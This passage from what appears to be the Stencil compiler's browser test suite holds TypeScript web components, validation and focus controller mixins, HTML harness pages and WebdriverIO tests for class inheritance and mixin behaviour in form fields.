    "content": "import { Component, h, Prop, State, Method, Watch } from '@stencil/core';\nimport { SiblingWithMixin } from 'test-sibling/dist/collection/sibling-with-mixin/sibling-with-mixin';\n\n/**\n * A component that extends from an external library's component which itself uses a mixin pattern.\n * This tests Bug A: a project importing/rendering from a lib whose component utilises a mixin/abstract\n * class pattern - the decorated class members should be properly merged and have reactivity.\n */\n@Component({\n  tag: 'extends-external-with-mixin',\n})\nexport class ExtendsExternalWithMixin extends SiblingWithMixin {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-with-mixin/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement as defineExtendsExternalWithMixin } from '/test-ts-target-output/custom-elements/extends-external-with-mixin.js';\n    import { defineCustomElement as defineSiblingWithMixin } from '/test-ts-target-output/custom-elements/sibling-with-mixin.js';\n    defineExtendsExternalWithMixin();\n    defineSiblingWithMixin();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-external-with-mixin></extends-external-with-mixin>\n  <sibling-with-mixin></sibling-with-mixin>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-external-with-mixin/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-external-with-mixin></extends-external-with-mixin>\n  <sibling-with-mixin></sibling-with-mixin>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/checkbox-group-cmp.tsx",
    "content": "import { Component, h, State, Element, Event, EventEmitter } from '@stencil/core';\nimport { FormFieldBase } from './form-field-base.js';\n\n@Component({\n  tag: 'inheritance-checkbox-group',\n})\nexport class CheckboxGroupCmp extends FormFieldBase {\n  @Element() el!: HTMLElement;\n  @State() values: string[] = [];\n  @State() helperText: string = 'Select at least one option';\n\n  @Event() valueChange!: EventEmitter<string[]>;\n\n  private inputId = `checkbox-group-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  constructor() {\n    super();\n    // Set up validation callback\n    this.setValidationCallback((vals: string[]) => {\n      if (!vals || vals.length === 0) {\n        return 'Please select at least one option';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad();\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback();\n  }\n\n  private handleChange = (e: Event) => {\n    const checkbox = e.target as HTMLInputElement;\n    const value = checkbox.value;\n\n    if (checkbox.checked) {\n      this.values = [...this.values, value];\n    } else {\n      this.values = this.values.filter((v) => v !== value);\n    }\n\n    this.valueChange.emit(this.values);\n    this.validate(this.values);\n  };\n\n  private onFocus = () => {\n    this.handleFocusEvent();\n  };\n\n  private onBlur = () => {\n    this.handleBlurEvent(this.values);\n  };\n\n  render() {\n    const focusState = this.getFocusState();\n    const validationData = this.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"checkbox-group-container\">\n        <label>Select Options</label>\n        <div class=\"checkbox-group\" tabindex=\"0\" onFocus={this.onFocus} onBlur={this.onBlur}>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option1\"\n              checked={this.values.includes('option1')}\n              onChange={this.handleChange}\n            />\n            Option 1\n          </label>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option2\"\n              checked={this.values.includes('option2')}\n              onChange={this.handleChange}\n            />\n            Option 2\n          </label>\n          <label>\n            <input\n              type=\"checkbox\"\n              name={this.inputId}\n              value=\"option3\"\n              checked={this.values.includes('option3')}\n              onChange={this.handleChange}\n            />\n            Option 3\n          </label>\n        </div>\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for inheritance-based scaling with 3 components and 2 controllers.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Test Case #15 - Inheritance-Based Scaling\n * This verifies that:\n * 1. 3 components (TextInput, RadioGroup, CheckboxGroup) work with inheritance\n * 2. 2 controllers (ValidationController, FocusController) work via inheritance\n * 3. Lifecycle methods are called correctly\n * 4. Validation triggers on blur\n * 5. Focus tracking works\n */\n\ndescribe('Test Case #15 – Inheritance-Based Scaling (3 components, 2 controllers)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-inheritance-scaling/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('inheritance-scaling-demo'), { timeout: 5000 });\n    });\n\n    it('all 3 components render correctly', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const textInput = demo?.querySelector('inheritance-text-input');\n      const radioGroup = demo?.querySelector('inheritance-radio-group');\n      const checkboxGroup = demo?.querySelector('inheritance-checkbox-group');\n\n      expect(textInput).toBeTruthy();\n      expect(radioGroup).toBeTruthy();\n      expect(checkboxGroup).toBeTruthy();\n    });\n\n    it('text input validation works on blur', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      // Wait for textInput component to be available\n      await browser.waitUntil(\n        () => {\n          const textInput = demo?.querySelector('inheritance-text-input');\n          return !!textInput;\n        },\n        { timeout: 5000 },\n      );\n\n      const textInput = demo?.querySelector('inheritance-text-input');\n      expect(textInput).toBeTruthy();\n\n      // Wait for input element to be available\n      await browser.waitUntil(\n        () => {\n          const input = textInput?.querySelector('input[type=\"text\"]');\n          return !!input;\n        },\n        { timeout: 5000 },\n      );\n\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n\n      expect(input).toBeTruthy();\n\n      // Focus and blur without entering value - should show error\n      input?.focus();\n      await browser.pause(100);\n      input?.blur();\n      await browser.pause(100); // Give component time to process blur event\n\n      await browser.waitUntil(\n        () => {\n          const errorText = textInput?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Name is required');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = textInput?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Name is required');\n    });\n\n    it('text input focus tracking works', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const textInput = demo?.querySelector('inheritance-text-input');\n      expect(textInput).toBeTruthy();\n\n      // Wait for input and focus-info elements to be available\n      await browser.waitUntil(\n        () => {\n          const input = textInput?.querySelector('input[type=\"text\"]');\n          const focusInfo = textInput?.querySelector('.focus-info');\n          return !!input && !!focusInfo;\n        },\n        { timeout: 5000 },\n      );\n\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n      const focusInfo = textInput?.querySelector('.focus-info');\n\n      expect(input).toBeTruthy();\n      expect(focusInfo).toBeTruthy();\n\n      // Initial state should show not focused\n      expect(focusInfo?.textContent).toContain('Focused: No');\n      expect(focusInfo?.textContent).toContain('Focus Count: 0');\n\n      // Focus the input\n      input?.focus();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const info = textInput?.querySelector('.focus-info')?.textContent;\n          return info?.includes('Focused: Yes') && info?.includes('Focus Count: 1');\n        },\n        { timeout: 5000 },\n      );\n\n      // Blur the input\n      input?.blur();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const info = textInput?.querySelector('.focus-info')?.textContent;\n          return info?.includes('Focused: No') && info?.includes('Blur Count: 1');\n        },\n        { timeout: 5000 },\n      );\n    });\n\n    it('radio group validation works on blur', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const radioGroup = demo?.querySelector('inheritance-radio-group');\n      expect(radioGroup).toBeTruthy();\n\n      // Wait for radio container to be available\n      await browser.waitUntil(\n        () => {\n          const container = radioGroup?.querySelector('.radio-group');\n          return !!container;\n        },\n        { timeout: 5000 },\n      );\n\n      const radioContainer = radioGroup?.querySelector('.radio-group');\n\n      expect(radioContainer).toBeTruthy();\n\n      // Focus and blur without selecting - should show error\n      (radioContainer as HTMLElement)?.focus();\n      await browser.pause(100);\n      (radioContainer as HTMLElement)?.blur();\n\n      await browser.waitUntil(\n        () => {\n          const errorText = radioGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select an option');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = radioGroup?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Please select an option');\n    });\n\n    it('checkbox group validation works on blur', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      const checkboxGroup = demo?.querySelector('inheritance-checkbox-group');\n      expect(checkboxGroup).toBeTruthy();\n\n      // Wait for checkbox container to be available\n      await browser.waitUntil(\n        () => {\n          const container = checkboxGroup?.querySelector('.checkbox-group');\n          return !!container;\n        },\n        { timeout: 5000 },\n      );\n\n      const checkboxContainer = checkboxGroup?.querySelector('.checkbox-group');\n\n      expect(checkboxContainer).toBeTruthy();\n\n      // Focus and blur without selecting - should show error\n      (checkboxContainer as HTMLElement)?.focus();\n      await browser.pause(100);\n      (checkboxContainer as HTMLElement)?.blur();\n\n      await browser.waitUntil(\n        () => {\n          const errorText = checkboxGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select at least one option');\n        },\n        { timeout: 5000 },\n      );\n\n      const errorText = checkboxGroup?.querySelector('.error-text');\n      expect(errorText?.textContent).toContain('Please select at least one option');\n    });\n\n    it('validation and focus controllers work together', async () => {\n      const textInput = frameContent.querySelector('inheritance-text-input');\n      const input = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n\n      // Focus - should track focus\n      input?.focus();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const focusInfo = textInput?.querySelector('.focus-info')?.textContent;\n          return focusInfo?.includes('Focused: Yes');\n        },\n        { timeout: 5000 },\n      );\n\n      // Blur - should track blur AND validate\n      input?.blur();\n      await browser.pause(100);\n\n      await browser.waitUntil(\n        () => {\n          const focusInfo = textInput?.querySelector('.focus-info')?.textContent;\n          const errorText = textInput?.querySelector('.error-text');\n          return (\n            focusInfo?.includes('Focused: No') &&\n            focusInfo?.includes('Blur Count: 1') &&\n            errorText?.textContent?.includes('Name is required')\n          );\n        },\n        { timeout: 5000 },\n      );\n    });\n\n    it('validates that both controllers use inheritance pattern', async () => {\n      const demo = frameContent.querySelector('inheritance-scaling-demo');\n      expect(demo).toBeTruthy();\n\n      // All components should have both validation and focus functionality\n      const textInput = demo?.querySelector('inheritance-text-input');\n      const radioGroup = demo?.querySelector('inheritance-radio-group');\n      const checkboxGroup = demo?.querySelector('inheritance-checkbox-group');\n\n      // Each should have validation error display capability (trigger validation first)\n      // Trigger validation on text input to show error\n      const textInputField = textInput?.querySelector('input[type=\"text\"]') as HTMLInputElement;\n      textInputField?.focus();\n      await browser.pause(100);\n      textInputField?.blur();\n      await browser.pause(100); // Give component time to process blur event\n      await browser.waitUntil(\n        () => {\n          const errorText = textInput?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Name is required');\n        },\n        { timeout: 5000 },\n      );\n      expect(textInput?.querySelector('.error-text')).toBeTruthy();\n\n      // Trigger validation on radio group to show error\n      const radioContainer = radioGroup?.querySelector('.radio-group') as HTMLElement;\n      radioContainer?.focus();\n      await browser.pause(100);\n      radioContainer?.blur();\n      await browser.pause(100); // Give component time to process blur event\n      await browser.waitUntil(\n        () => {\n          const errorText = radioGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select an option');\n        },\n        { timeout: 5000 },\n      );\n      expect(radioGroup?.querySelector('.error-text')).toBeTruthy();\n\n      // Trigger validation on checkbox group to show error\n      const checkboxContainer = checkboxGroup?.querySelector('.checkbox-group') as HTMLElement;\n      checkboxContainer?.focus();\n      await browser.pause(100);\n      checkboxContainer?.blur();\n      await browser.pause(100); // Give component time to process blur event\n      await browser.waitUntil(\n        () => {\n          const errorText = checkboxGroup?.querySelector('.error-text');\n          return errorText?.textContent?.includes('Please select at least one option');\n        },\n        { timeout: 5000 },\n      );\n      expect(checkboxGroup?.querySelector('.error-text')).toBeTruthy();\n\n      // Each should have focus info display\n      expect(textInput?.querySelector('.focus-info')).toBeTruthy();\n      expect(radioGroup?.querySelector('.focus-info')).toBeTruthy();\n      expect(checkboxGroup?.querySelector('.focus-info')).toBeTruthy();\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n/**\n * Main component that demonstrates inheritance-based scaling\n * with 3 components and 2 controllers (ValidationController and FocusController)\n */\n@Component({\n  tag: 'inheritance-scaling-demo',\n  styles: `\n    :host {\n      display: block;\n      padding: 20px;\n      font-family: Arial, sans-serif;\n    }\n\n    .demo-container {\n      max-width: 600px;\n      margin: 0 auto;\n    }\n\n    .component-section {\n      margin: 30px 0;\n      padding: 20px;\n      border: 1px solid #ddd;\n      border-radius: 4px;\n    }\n\n    .text-input-container,\n    .radio-group-container,\n    .checkbox-group-container {\n      margin: 10px 0;\n    }\n\n    label {\n      display: block;\n      margin-bottom: 8px;\n      font-weight: bold;\n    }\n\n    input[type='text'] {\n      width: 100%;\n      padding: 8px;\n      border: 1px solid #ccc;\n      border-radius: 4px;\n      box-sizing: border-box;\n    }\n\n    input[type='text'].invalid {\n      border-color: #f00;\n    }\n\n    .radio-group,\n    .checkbox-group {\n      display: flex;\n      flex-direction: column;\n      gap: 8px;\n    }\n\n    .radio-group label,\n    .checkbox-group label {\n      display: flex;\n      align-items: center;\n      font-weight: normal;\n      cursor: pointer;\n    }\n\n    .radio-group input[type='radio'],\n    .checkbox-group input[type='checkbox'] {\n      margin-right: 8px;\n    }\n\n    .validation-message {\n      margin-top: 8px;\n    }\n\n    .error-text {\n      color: #f00;\n      font-size: 0.875em;\n    }\n\n    .focus-info {\n      margin-top: 8px;\n      font-size: 0.875em;\n      color: #666;\n    }\n\n    h1 {\n      text-align: center;\n      color: #333;\n    }\n\n    h2 {\n      color: #555;\n      margin-top: 0;\n    }\n  `,\n})\nexport class InheritanceScalingDemo {\n  render() {\n    return (\n      <div class=\"demo-container\">\n        <h1>Inheritance-Based Scaling Demo</h1>\n        <p>\n          This demo shows 3 components (TextInput, RadioGroup, CheckboxGroup) using 2 controllers (ValidationController,\n          FocusController) via inheritance.\n        </p>\n\n        <div class=\"component-section\">\n          <h2>Text Input Component</h2>\n          <inheritance-text-input />\n        </div>\n\n        <div class=\"component-section\">\n          <h2>Radio Group Component</h2>\n          <inheritance-radio-group />\n        </div>\n\n        <div class=\"component-section\">\n          <h2>Checkbox Group Component</h2>\n          <inheritance-checkbox-group />\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Inheritance Scaling Demo</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-inheritance-scaling.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Inheritance Scaling Demo</h1>\n  <inheritance-scaling-demo></inheritance-scaling-demo>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Inheritance Scaling Demo</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Inheritance Scaling Demo</h1>\n  <inheritance-scaling-demo></inheritance-scaling-demo>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/focus-controller-base.ts",
    "content": "/**\n * FocusControllerBase - demonstrates focus management controller via inheritance\n *\n * This base class:\n * 1. Manages focus state (isFocused, hasFocus)\n * 2. Tracks focus/blur events\n * 3. Provides methods to handle focus lifecycle\n */\nexport abstract class FocusControllerBase {\n  protected isFocused: boolean = false;\n  protected focusCount: number = 0;\n  protected blurCount: number = 0;\n\n  constructor() {}\n\n  // Abstract method - host component must implement this\n  // This simulates Lit's this.host.requestUpdate()\n  protected abstract requestUpdate(): void;\n\n  // Lifecycle methods that components can use\n  componentDidLoad() {\n    // Setup focus tracking on component load\n    this.setupFocusTracking();\n  }\n\n  disconnectedCallback() {\n    // Cleanup focus tracking\n    this.cleanupFocusTracking();\n  }\n\n  protected setupFocusTracking() {\n    // Default implementation - can be extended\n  }\n\n  protected cleanupFocusTracking() {\n    // Default implementation - can be extended\n  }\n\n  // Handle focus event\n  handleFocus() {\n    this.isFocused = true;\n    this.focusCount++;\n    this.requestUpdate();\n  }\n\n  // Handle blur event\n  handleBlur() {\n    this.isFocused = false;\n    this.blurCount++;\n    this.requestUpdate();\n  }\n\n  // Get focus state\n  getFocusState() {\n    return {\n      isFocused: this.isFocused,\n      focusCount: this.focusCount,\n      blurCount: this.blurCount,\n    };\n  }\n\n  // Reset focus tracking\n  resetFocusTracking() {\n    this.focusCount = 0;\n    this.blurCount = 0;\n    this.requestUpdate();\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/focus-controller-mixin.ts",
    "content": "/**\n * FocusControllerMixin - mixin factory for focus management functionality\n *\n * This mixin provides:\n * 1. Focus state management (isFocused, focusCount, blurCount)\n * 2. Focus tracking methods (handleFocus, handleBlur, etc.)\n * 3. Uses forceUpdate() directly for re-renders\n */\nimport { State, forceUpdate } from '@stencil/core';\n\nexport const FocusControllerMixin = (Base: any) => {\n  class FocusMixin extends Base {\n    @State() protected isFocused: boolean = false;\n    @State() protected focusCount: number = 0;\n    @State() protected blurCount: number = 0;\n\n    // Lifecycle methods\n    componentDidLoad() {\n      super.componentDidLoad?.();\n      this.setupFocusTracking();\n    }\n\n    disconnectedCallback() {\n      super.disconnectedCallback?.();\n      this.cleanupFocusTracking();\n    }\n\n    protected setupFocusTracking() {\n      // Default implementation - can be extended\n    }\n\n    protected cleanupFocusTracking() {\n      // Default implementation - can be extended\n    }\n\n    // Handle focus event\n    handleFocus() {\n      this.isFocused = true;\n      this.focusCount++;\n      forceUpdate(this);\n    }\n\n    // Handle blur event\n    handleBlur() {\n      this.isFocused = false;\n      this.blurCount++;\n      forceUpdate(this);\n    }\n\n    // Get focus state\n    getFocusState() {\n      return {\n        isFocused: this.isFocused,\n        focusCount: this.focusCount,\n        blurCount: this.blurCount,\n      };\n    }\n\n    // Reset focus tracking\n    resetFocusTracking() {\n      this.focusCount = 0;\n      this.blurCount = 0;\n      forceUpdate(this);\n    }\n  }\n\n  return FocusMixin;\n};\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/form-field-base.ts",
    "content": "/**\n * FormFieldBase - combines ValidationControllerMixin and FocusControllerMixin\n *\n * This base class demonstrates how multiple controllers can be combined\n * via Mixin (multiple inheritance). Components can extend this to get both\n * validation and focus management functionality.\n */\nimport { Mixin } from '@stencil/core';\nimport { ValidationControllerMixin } from './validation-controller-mixin.js';\nimport { FocusControllerMixin } from './focus-controller-mixin.js';\n\nexport abstract class FormFieldBase extends Mixin(ValidationControllerMixin, FocusControllerMixin) {\n  // Convenience methods that combine both controllers\n  handleFocusEvent() {\n    this.handleFocus(); // From FocusControllerMixin\n  }\n\n  handleBlurEvent(value: any) {\n    this.handleBlur(); // From FocusControllerMixin (no params)\n    this.validate(value); // From ValidationControllerMixin\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/radio-group-cmp.tsx",
    "content": "import { Component, h, State, Element, Event, EventEmitter } from '@stencil/core';\nimport { FormFieldBase } from './form-field-base.js';\n\n@Component({\n  tag: 'inheritance-radio-group',\n})\nexport class RadioGroupCmp extends FormFieldBase {\n  @Element() el!: HTMLElement;\n  @State() value: string | undefined = undefined;\n  @State() helperText: string = 'Select an option';\n\n  @Event() valueChange!: EventEmitter<string>;\n\n  private inputId = `radio-group-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  constructor() {\n    super();\n    // Set up validation callback\n    this.setValidationCallback((val: string | undefined) => {\n      if (!val) {\n        return 'Please select an option';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad();\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback();\n  }\n\n  private handleChange = (e: Event) => {\n    const radio = e.target as HTMLInputElement;\n    if (radio.checked) {\n      this.value = radio.value;\n      this.valueChange.emit(this.value);\n      this.validate(this.value);\n    }\n  };\n\n  private onFocus = () => {\n    this.handleFocusEvent();\n  };\n\n  private onBlur = () => {\n    this.handleBlurEvent(this.value);\n  };\n\n  render() {\n    const focusState = this.getFocusState();\n    const validationData = this.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"radio-group-container\">\n        <label>Select Option</label>\n        <div class=\"radio-group\" tabindex=\"0\" onFocus={this.onFocus} onBlur={this.onBlur}>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option1\"\n              checked={this.value === 'option1'}\n              onChange={this.handleChange}\n            />\n            Option 1\n          </label>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option2\"\n              checked={this.value === 'option2'}\n              onChange={this.handleChange}\n            />\n            Option 2\n          </label>\n          <label>\n            <input\n              type=\"radio\"\n              name={this.inputId}\n              value=\"option3\"\n              checked={this.value === 'option3'}\n              onChange={this.handleChange}\n            />\n            Option 3\n          </label>\n        </div>\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/text-input-cmp.tsx",
    "content": "import { Component, h, State, Element } from '@stencil/core';\nimport { FormFieldBase } from './form-field-base.js';\n\n@Component({\n  tag: 'inheritance-text-input',\n})\nexport class TextInputCmp extends FormFieldBase {\n  @Element() el!: HTMLElement;\n  @State() value: string = '';\n  @State() helperText: string = 'Enter your name';\n\n  private inputId = `text-input-${Math.random().toString(36).substr(2, 9)}`;\n  private helperTextId = `${this.inputId}-helper-text`;\n  private errorTextId = `${this.inputId}-error-text`;\n\n  constructor() {\n    super();\n    // Set up validation callback\n    this.setValidationCallback((val: string) => {\n      if (!val || val.trim().length === 0) {\n        return 'Name is required';\n      }\n      if (val.length < 2) {\n        return 'Name must be at least 2 characters';\n      }\n      return undefined;\n    });\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad();\n  }\n\n  disconnectedCallback() {\n    super.disconnectedCallback();\n  }\n\n  private handleInput = (e: Event) => {\n    const input = e.target as HTMLInputElement;\n    this.value = input.value;\n  };\n\n  private onFocus = () => {\n    this.handleFocusEvent();\n  };\n\n  private onBlur = () => {\n    this.handleBlurEvent(this.value);\n  };\n\n  render() {\n    const focusState = this.getFocusState();\n    const validationState = this.getValidationState();\n    const validationData = this.getValidationMessageData(this.helperTextId, this.errorTextId);\n\n    return (\n      <div class=\"text-input-container\">\n        <label htmlFor={this.inputId}>Name</label>\n        <input\n          id={this.inputId}\n          type=\"text\"\n          value={this.value}\n          onInput={this.handleInput}\n          onFocus={this.onFocus}\n          onBlur={this.onBlur}\n          class={validationState.isValid ? '' : 'invalid'}\n        />\n        {validationData.hasError && (\n          <div class=\"validation-message\">\n            <div id={validationData.errorTextId} class=\"error-text\">\n              {validationData.errorMessage}\n            </div>\n          </div>\n        )}\n        <div class=\"focus-info\">\n          Focused: {focusState.isFocused ? 'Yes' : 'No'} | Focus Count: {focusState.focusCount} | Blur Count:{' '}\n          {focusState.blurCount}\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/validation-controller-base.ts",
    "content": "/**\n * ValidationControllerBase - demonstrates validation controller via inheritance\n *\n * This base class:\n * 1. Manages validation state (isValid, errorMessage)\n * 2. Provides method to render validation message\n * 3. Can trigger validation (ideally on blur)\n * 4. Runs a callback provided by the host for validation logic\n */\nexport abstract class ValidationControllerBase {\n  protected isValid: boolean = true;\n  protected errorMessage: string = '';\n  protected validationCallback?: (value: any) => string | undefined;\n\n  constructor() {}\n\n  // Abstract method - host component must implement this\n  // This simulates Lit's this.host.requestUpdate()\n  protected abstract requestUpdate(): void;\n\n  // Lifecycle methods that components can use\n  componentDidLoad() {\n    // Setup validation on component load\n    this.setupValidation();\n  }\n\n  disconnectedCallback() {\n    // Cleanup if needed\n    this.cleanupValidation();\n  }\n\n  // Setup validation - can be overridden by host\n  protected setupValidation() {\n    // Default implementation - can be extended\n  }\n\n  protected cleanupValidation() {\n    // Default implementation - can be extended\n  }\n\n  // Set the validation callback from host\n  setValidationCallback(callback: (value: any) => string | undefined) {\n    this.validationCallback = callback;\n  }\n\n  // Validate the value - returns true if valid, false otherwise\n  validate(value: any): boolean {\n    if (!this.validationCallback) {\n      this.isValid = true;\n      this.errorMessage = '';\n      this.requestUpdate();\n      return true;\n    }\n\n    const error = this.validationCallback(value);\n    this.isValid = !error;\n    this.errorMessage = error || '';\n    this.requestUpdate();\n    return this.isValid;\n  }\n\n  // Trigger validation on blur\n  handleBlur(value: any) {\n    this.validate(value);\n  }\n\n  // Get validation state\n  getValidationState() {\n    return {\n      isValid: this.isValid,\n      errorMessage: this.errorMessage,\n    };\n  }\n\n  // Get validation message data for rendering\n  getValidationMessageData(helperTextId?: string, errorTextId?: string) {\n    const { isValid, errorMessage } = this.getValidationState();\n\n    return {\n      isValid,\n      errorMessage,\n      helperTextId,\n      errorTextId,\n      hasError: !!errorMessage,\n    };\n  }\n\n  // Reset validation state\n  resetValidation() {\n    this.isValid = true;\n    this.errorMessage = '';\n    this.requestUpdate();\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-inheritance-scaling/validation-controller-mixin.ts",
    "content": "/**\n * ValidationControllerMixin - mixin factory for validation functionality\n *\n * This mixin provides:\n * 1. Validation state management (isValid, errorMessage)\n * 2. Validation methods (validate, handleBlur, etc.)\n * 3. Uses forceUpdate() directly for re-renders\n */\nimport { State, forceUpdate } from '@stencil/core';\n\nexport const ValidationControllerMixin = (Base: any) => {\n  class ValidationMixin extends Base {\n    @State() protected isValid: boolean = true;\n    @State() protected errorMessage: string = '';\n    protected validationCallback?: (value: any) => string | undefined;\n\n    // Lifecycle methods\n    componentDidLoad() {\n      super.componentDidLoad?.();\n      this.setupValidation();\n    }\n\n    disconnectedCallback() {\n      super.disconnectedCallback?.();\n      this.cleanupValidation();\n    }\n\n    protected setupValidation() {\n      // Default implementation - can be extended\n    }\n\n    protected cleanupValidation() {\n      // Default implementation - can be extended\n    }\n\n    // Set the validation callback from host\n    setValidationCallback(callback: (value: any) => string | undefined) {\n      this.validationCallback = callback;\n    }\n\n    // Validate the value - returns true if valid, false otherwise\n    validate(value: any): boolean {\n      if (!this.validationCallback) {\n        this.isValid = true;\n        this.errorMessage = '';\n        forceUpdate(this);\n        return true;\n      }\n\n      const error = this.validationCallback(value);\n      this.isValid = !error;\n      this.errorMessage = error || '';\n      forceUpdate(this);\n      return this.isValid;\n    }\n\n    // Get validation state\n    getValidationState() {\n      return {\n        isValid: this.isValid,\n        errorMessage: this.errorMessage,\n      };\n    }\n\n    // Get validation message data for rendering\n    getValidationMessageData(helperTextId?: string, errorTextId?: string) {\n      const { isValid, errorMessage } = this.getValidationState();\n\n      return {\n        isValid,\n        errorMessage,\n        helperTextId,\n        errorTextId,\n        hasError: !!errorMessage,\n      };\n    }\n\n    // Reset validation state\n    resetValidation() {\n      this.isValid = true;\n      this.errorMessage = '';\n      forceUpdate(this);\n    }\n  }\n\n  return ValidationMixin;\n};\n"
  },
  {
